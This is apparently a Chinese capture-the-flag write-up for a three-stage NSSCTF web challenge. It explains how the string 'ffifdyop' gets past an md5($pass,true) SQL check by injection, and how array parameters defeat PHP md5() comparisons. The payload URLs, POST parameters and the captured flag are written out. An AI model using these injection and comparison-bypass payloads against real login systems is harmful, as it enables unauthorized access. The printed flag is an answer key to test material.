(一) 题目分析
题目只有一个输入框
找找提示:
查看源代码 查看数据包 找到了:
我们可以看到 hint 有一个提示点
select * from 'admin' where password=md5($pass,true)
(二)解决:
第一关:
很明显要用到md5绕过的相关知识
语句中是md5($pass,true) 大胆猜测这个$pass 就是我们文本框控制的输入
True 原始二进制格式 输出
可以利用md5()函数加密ffifdyop
这个字符串加密之后 得到276f722736c95d99e921722cf9ed621c
转换成字符串为 ’or’6乱码
利用转换后的字符串可以绕过语句
开整!!!!!
http://node4.anna.nssctf.cn:28312/leveldo4.php?password=ffifdyop
成功: 芜湖! 闯关成功进入下一关:
第二关:
进入:http://node4.anna.nssctf.cn:28312/levels91.php
查看页面源代码:
给出提示:
<?php
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))
{ header('Location: levell14.php');
}
?>
分析代码:
a,b两个参数
a,b要不相等 但是md5 值要相等
一眼php 弱类型比较
== 并非是强等于
可以利用数组 传参 使得md5()函数失效
http://node4.anna.nssctf.cn:28312/levels91.php?a[]=1&b[]=2
第三关;
代码分析:
Post传递参数 又是md5()
但这次是===强等于 依然可以用数组绕过
Post参数:param1[]=1¶m2[]=2
芜湖解决问题:
(三)flag
NSSCTF{243d68c1-039a-4125-aa44-42e27679e7df}
本题目主要是利用了php 的弱类型比较 知识点